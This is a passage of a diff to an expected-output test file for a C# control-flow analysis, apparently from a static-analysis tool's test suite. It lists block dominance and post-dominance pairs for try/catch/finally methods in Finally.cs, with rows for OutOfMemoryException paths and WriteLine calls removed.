exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | -| Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | -| Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | | Finally.cs:162:13:164:13 | {...} | Finally.cs:162:13:164:13 | {...} | @@ -10926,10 +10752,8 @@ blockDominance | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | | Finally.cs:216:10:216:12 | enter M11 | Finally.cs:216:10:216:12 | enter M11 | -| Finally.cs:216:10:216:12 | enter M11 | Finally.cs:220:13:220:36 | call to method WriteLine | | Finally.cs:216:10:216:12 | enter M11 | Finally.cs:222:9:225:9 | catch {...} | | Finally.cs:216:10:216:12 | enter M11 | Finally.cs:227:9:229:9 | {...} | -| Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:13:220:36 | call to method WriteLine | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:222:9:225:9 | catch {...} | | Finally.cs:227:9:229:9 | {...} | Finally.cs:227:9:229:9 | {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | enter M12 | @@ -10951,10 +10775,8 @@ blockDominance | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | {...} | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:254:13:254:44 | call to method WriteLine | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | {...} | | Finally.cs:233:10:233:12 | exit M12 | Finally.cs:233:10:233:12 | exit M12 | | Finally.cs:233:10:233:12 | exit M12 (abnormal) | Finally.cs:233:10:233:12 | exit M12 (abnormal) | @@ -10984,8 +10806,6 @@ blockDominance | Finally.cs:243:13:253:13 | {...} | Finally.cs:247:31:247:46 | object creation of type ExceptionA | | Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | | Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | {...} | -| Finally.cs:243:13:253:13 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | -| Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | {...} | | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | @@ -11005,14 +10825,9 @@ blockDominance | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:250:17:252:17 | {...} | Finally.cs:250:17:252:17 | {...} | -| Finally.cs:250:17:252:17 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | -| Finally.cs:250:17:252:17 | {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:250:17:252:17 | {...} | Finally.cs:257:9:259:9 | {...} | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | {...} | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | -| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | exit M1 (normal) | @@ -14007,92 +13822,58 @@ postBlockDominance | Extensions.cs:20:17:20:20 | enter Main | Extensions.cs:20:17:20:20 | enter Main | | Finally.cs:7:10:7:11 | enter M1 | Finally.cs:7:10:7:11 | enter M1 | | Finally.cs:7:10:7:11 | exit M1 | Finally.cs:7:10:7:11 | exit M1 | -| Finally.cs:7:10:7:11 | exit M1 (abnormal) | Finally.cs:7:10:7:11 | exit M1 (abnormal) | -| Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:7:10:7:11 | enter M1 | -| Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:11:13:11:37 | call to method WriteLine | | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | -| Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:14:9:16:9 | {...} | Finally.cs:7:10:7:11 | enter M1 | -| Finally.cs:14:9:16:9 | {...} | Finally.cs:11:13:11:37 | call to method WriteLine | | Finally.cs:14:9:16:9 | {...} | Finally.cs:14:9:16:9 | {...} | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:19:10:19:11 | enter M2 | | Finally.cs:19:10:19:11 | exit M2 | Finally.cs:19:10:19:11 | exit M2 | | Finally.cs:19:10:19:11 | exit M2 (abnormal) | Finally.cs:19:10:19:11 | exit M2 (abnormal) | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:19:10:19:11 | enter M2 | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:19:10:19:11 | exit M2 (normal) | -| Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:23:13:23:37 | call to method WriteLine | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:24:13:24:19 | return ...; | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:42:9:43:9 | {...} | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:23:13:23:37 | call to method WriteLine | | Finally.cs:24:13:24:19 | return ...; | Finally.cs:24:13:24:19 | return ...; | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | | Finally.cs:27:9:29:9 | {...} | Finally.cs:27:9:29:9 | {...} | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | | Finally.cs:34:27:34:32 | throw ...; | Finally.cs:34:27:34:32 | throw ...; | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:42:9:43:9 | {...} | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:42:9:43:9 | {...} | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:42:9:43:9 | {...} | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:42:9:43:9 | {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:42:9:43:9 | {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:42:9:43:9 | {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:42:9:43:9 | {...} | Finally.cs:42:9:43:9 | {...} | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:54:10:54:11 | enter M3 | | Finally.cs:54:10:54:11 | exit M3 | Finally.cs:54:10:54:11 | exit M3 | | Finally.cs:54:10:54:11 | exit M3 (abnormal) | Finally.cs:54:10:54:11 | exit M3 (abnormal) | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:54:10:54:11 | enter M3 | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:54:10:54:11 | exit M3 (normal) | -| Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:58:13:58:37 | call to method WriteLine | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:59:13:59:19 | return ...; | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | -| Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:66:9:67:9 | {...} | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:58:13:58:37 | call to method WriteLine | | Finally.cs:59:13:59:19 | return ...; | Finally.cs:59:13:59:19 | return ...; | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | | Finally.cs:62:9:64:9 | {...} | Finally.cs:62:9:64:9 | {...} | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | | Finally.cs:66:9:67:9 | {...} | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:66:9:67:9 | {...} | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:66:9:67:9 | {...} | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:66:9:67:9 | {...} | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:66:9:67:9 | {...} | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | -| Finally.cs:66:9:67:9 | {...} | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | | Finally.cs:66:9:67:9 | {...} | Finally.cs:66:9:67:9 | {...} | | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | -| Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:74:10:74:11 | enter M4 | | Finally.cs:74:10:74:11 | exit M4 | Finally.cs:74:10:74:11 | exit M4 | | Finally.cs:74:10:74:11 | exit M4 (abnormal) | Finally.cs:74:10:74:11 | exit M4 (abnormal) | @@ -14226,9 +14007,7 @@ postBlockDominance | Finally.cs:121:10:121:11 | enter M6 | Finally.cs:121:10:121:11 | enter M6 | | Finally.cs:133:10:133:11 | enter M7 | Finally.cs:133:10:133:11 | enter M7 | | Finally.cs:133:10:133:11 | exit M7 (abnormal) | Finally.cs:133:10:133:11 | exit M7 (abnormal) | -| Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:137:13:137:36 | call to method WriteLine | | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | -| Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:140:9:143:9 | {...} | Finally.cs:140:9:143:9 | {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:147:10:147:11 | enter M8 | | Finally.cs:147:10:147:11 | exit M8 | Finally.cs:147:10:147:11 | exit M8 | @@ -14238,14 +14017,11 @@ postBlockDominance | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:155:9:169:9 | {...} | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:158:36:158:36 | 1 | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:159:27:159:44 | object creation of type Exception | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:159:41:159:43 | "1" | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | -| Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | -| Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:162:13:164:13 | {...} | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:165:13:168:13 | catch {...} | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:152:17:152:50 | throw ...; | @@ -14259,37 +14035,27 @@ postBlockDominance | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | | Finally.cs:159:21:159:45 | throw ...; | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | -| Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | -| Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:27:159:44 | object creation of type Exception | | Finally.cs:159:41:159:43 | "1" | Finally.cs:159:41:159:43 | "1" | | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:159:27:159:44 | object creation of type Exception | +| Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:159:41:159:43 | "1" | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:159:27:159:44 | object creation of type Exception | +| Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:159:41:159:43 | "1" | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | -| Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | -| Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | | Finally.cs:162:13:164:13 | {...} | Finally.cs:162:13:164:13 | {...} | @@ -14378,10 +14144,8 @@ postBlockDominance | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | | Finally.cs:216:10:216:12 | enter M11 | Finally.cs:216:10:216:12 | enter M11 | -| Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:13:220:36 | call to method WriteLine | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:222:9:225:9 | catch {...} | | Finally.cs:227:9:229:9 | {...} | Finally.cs:216:10:216:12 | enter M11 | -| Finally.cs:227:9:229:9 | {...} | Finally.cs:220:13:220:36 | call to method WriteLine | | Finally.cs:227:9:229:9 | {...} | Finally.cs:222:9:225:9 | catch {...} | | Finally.cs:227:9:229:9 | {...} | Finally.cs:227:9:229:9 | {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | enter M12 | @@ -14406,17 +14170,11 @@ postBlockDominance | Finally.cs:250:17:252:17 | {...} | Finally.cs:233:10:233:12 | enter M12 | | Finally.cs:250:17:252:17 | {...} | Finally.cs:243:13:253:13 | {...} | | Finally.cs:250:17:252:17 | {...} | Finally.cs:250:17:252:17 | {...} | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:233:10:233:12 | enter M12 | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:243:13:253:13 | {...} | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:250:17:252:17 | {...} | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | -| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | enter M12 | | Finally.cs:257:9:259:9 